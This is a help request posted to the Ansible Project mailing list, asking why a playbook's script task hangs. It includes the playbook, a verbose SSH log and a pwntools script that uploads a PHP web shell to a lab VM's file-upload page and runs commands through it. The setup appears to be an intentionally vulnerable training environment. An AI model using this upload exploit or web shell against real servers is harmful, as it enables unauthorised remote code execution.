Hi,
I want to run a python script on remote, so I tried to use script, but when
I launched playbook, it stucks in that tasks.
I test python script by coping it on remote and it works fine.
(yes, obviously I waited more than 5 seconds)
Am I missing something?
*HERE THE PLAYBOOK*
---
- name: Esecuzione di "FileUpload-example1
hosts: vm_client
vars:
#--- Cloudify
an_user: ansible
an_prj_folder: ~/DebianVulnerable
an_target_ip: 192.168.50.153
#--- Ansible
init_file: "{{ an_prj_folder }}/init.pwd"
command: echo YOU_HAVE_BEEN_PWNED >> /tmp/H4CK3R.PWN
tasks:
- name: Controllo dei requisiti...
stat:
path: "{{ init_file }}"
register: init_done
- name: Chiusura se non sono soddisfatti...
meta: end_play
when: init_done.stat.exists == False
- name: Lancio script Python..
script: "Resource/fileUpload1.py {{ an_target_ip }} '{{ command }}'"
*HERE THE SCRIPT*
it just send a HTTP request to another remote pc
#!/bin/python2
from pwn import *
import time
def main():
remote_ip = sys.argv[1]
c=remote(remote_ip, 80)
iniziezione(c, remote_ip)
c.close()
time.sleep(5)
c=remote(remote_ip, 80)
esecuzione(c, remote_ip)
c.close()
def iniziezione(c, remote_ip):
req= ('POST /upload/example1.php HTTP/1.1\r\n'
'Host'+ remote_ip +'\r\n'
'User-Agent: curl/7.64.1\r\n'
'Accept: */*\r\n'
'Content-Length: 231\r\n'
'Content-Type: multipart/form-data;
boundary=------------------------cd3d38395f9f1df4\r\n'
'\r\n'
'--------------------------cd3d38395f9f1df4\r\n'
'Content-Disposition: form-data; name="image"; filename="image.php"\r\n'
'Content-Type: application/octet-stream\r\n'
'\r\n'
'<?php system($_GET["c"]); ?>.\r\n'
'--------------------------cd3d38395f9f1df4--\r\n')
#print(req)
c.send(req)
def esecuzione(c, remote_ip):
#crezione del comando
comando=sys.argv[2]
comando=comando.replace(' ', '%20')
comando=comando.replace('/', '%2F')
print(comando)
#creazione della richiesta HTTP
req=('GET /upload/images/image.php?c='+comando+' HTTP/1.1\r\n'
'Host:'+ remote_ip +'\r\n'
'User-Agent: curl/7.64.1\r\n''+ remote_ip '+
'Accept: */*\r\n\r\n')
#print(req)
c.send(req)
if __name__ == '__main__':
main()
*HERE the -vvvv log when executing the task:*
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o
ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o
ControlPath=/home/andrea/.ansible/cp/b24e0c6aca 192.168.50.103 '/bin/sh -c
'"'"'echo ~ansible && sleep 0'"'"''
<192.168.50.103> (0, b'/home/ansible\n', b'OpenSSH_8.0p1, OpenSSL 1.1.1b
26 Feb 2019\r\ndebug1: Reading configuration data
/etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize: hostname
192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing
master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2:
mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards:
request forwardings: 0 local, 0 remote\r\ndebug3:
mux_client_request_session: entering\r\ndebug3: mux_client_request_alive:
entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3:
mux_client_request_session: session request sent\r\ndebug3:
mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received
exit status from master 0\r\n')
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o
ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o
ControlPath=/home/andrea/.ansible/cp/b24e0c6aca 192.168.50.103 '/bin/sh -c
'"'"'( umask 77 && mkdir -p "` echo
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984
`" && echo ansible-tmp-1559145348.5083632-266839971706984="` echo
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984
`" ) && sleep 0'"'"''
<192.168.50.103> (0,
b'ansible-tmp-1559145348.5083632-266839971706984=/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984\n',
b'OpenSSH_8.0p1, OpenSSL 1.1.1b 26 Feb 2019\r\ndebug1: Reading
configuration data /etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize:
hostname 192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing
master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2:
mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards:
request forwardings: 0 local, 0 remote\r\ndebug3:
mux_client_request_session: entering\r\ndebug3: mux_client_request_alive:
entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3:
mux_client_request_session: session request sent\r\ndebug3:
mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received
exit status from master 0\r\n')
<192.168.50.103> PUT
/home/andrea/Documenti/Tirocinio/Cloudify/BluePrint/DebianVulnerableV7/Resource/fileUpload1.py
TO
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py
<192.168.50.103> SSH: EXEC sshpass -d9 sftp -o BatchMode=no -b - -vvv -C -o
ControlMaster=auto -o ControlPersist=60s -o 'User="ansible"' -o
ConnectTimeout=10 -o ControlPath=/home/andrea/.ansible/cp/b24e0c6aca
'[192.168.50.103]'
<192.168.50.103> (0, b'sftp> put
/home/andrea/Documenti/Tirocinio/Cloudify/BluePrint/DebianVulnerableV7/Resource/fileUpload1.py
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py\n',
b'OpenSSH_8.0p1, OpenSSL 1.1.1b 26 Feb 2019\r\ndebug1: Reading
configuration data /etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize:
hostname 192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing
master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2:
mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards:
request forwardings: 0 local, 0 remote\r\ndebug3:
mux_client_request_session: entering\r\ndebug3: mux_client_request_alive:
entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3:
mux_client_request_session: session request sent\r\ndebug2: Remote version:
3\r\ndebug2: Server supports extension "[email protected]" revision
1\r\ndebug2: Server supports extension "[email protected]" revision
2\r\ndebug2: Server supports extension "[email protected]" revision
2\r\ndebug2: Server supports extension "[email protected]" revision
1\r\ndebug2: Server supports extension "[email protected]" revision
1\r\ndebug3: Sent message fd 3 T:16 I:1\r\ndebug3: SSH_FXP_REALPATH . ->
/home/ansible size 0\r\ndebug3: Looking up
/home/andrea/Documenti/Tirocinio/Cloudify/BluePrint/DebianVulnerableV7/Resource/fileUpload1.py\r\ndebug3:
Sent message fd 3 T:17 I:2\r\ndebug3: Received stat reply T:101
I:2\r\ndebug1: Couldn\'t stat remote file: No such file or
directory\r\ndebug3: Sent message SSH2_FXP_OPEN I:3
P:/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py\r\ndebug3:
Sent message SSH2_FXP_WRITE I:4 O:0 S:1229\r\ndebug3: SSH2_FXP_STATUS
0\r\ndebug3: In write loop, ack for 4 1229 bytes at 0\r\ndebug3: Sent
message SSH2_FXP_CLOSE I:4\r\ndebug3: SSH2_FXP_STATUS 0\r\ndebug3:
mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received
exit status from master 0\r\n')
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o
ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o
ControlPath=/home/andrea/.ansible/cp/b24e0c6aca 192.168.50.103 '/bin/sh -c
'"'"'chmod u+x
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py
&& sleep 0'"'"''
<192.168.50.103> (0, b'', b'OpenSSH_8.0p1, OpenSSL 1.1.1b 26 Feb
2019\r\ndebug1: Reading configuration data /etc/ssh/ssh_config\r\ndebug2:
resolve_canonicalize: hostname 192.168.50.103 is address\r\ndebug1:
auto-mux: Trying existing master\r\ndebug2: fd 3 setting
O_NONBLOCK\r\ndebug2: mux_client_hello_exchange: master version
4\r\ndebug3: mux_client_forwards: request forwardings: 0 local, 0
remote\r\ndebug3: mux_client_request_session: entering\r\ndebug3:
mux_client_request_alive: entering\r\ndebug3: mux_client_request_alive:
done pid = 18448\r\ndebug3: mux_client_request_session: session request
sent\r\ndebug3: mux_client_read_packet: read header failed: Broken
pipe\r\ndebug2: Received exit status from master 0\r\n')
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o
ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o
ControlPath=/home/andrea/.ansible/cp/b24e0c6aca -tt 192.168.50.103 '/bin/sh
-c '"'"'
/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py
192.168.50.153 '"'"'"'"'"'"'"'"'echo YOU_HAVE_BEEN_PWNED >>
/tmp/H4CK3R.PWN'"'"'"'"'"'"'"'"' && sleep 0'"'"''
--
You received this message because you are subscribed to the Google Groups
"Ansible Project" group.
To unsubscribe from this group and stop receiving emails from it, send an email
to [email protected].
To post to this group, send email to [email protected].
To view this discussion on the web visit
https://groups.google.com/d/msgid/ansible-project/5a9468e1-9638-4130-8c6c-8206c720596b%40googlegroups.com.
For more options, visit https://groups.google.com/d/optout.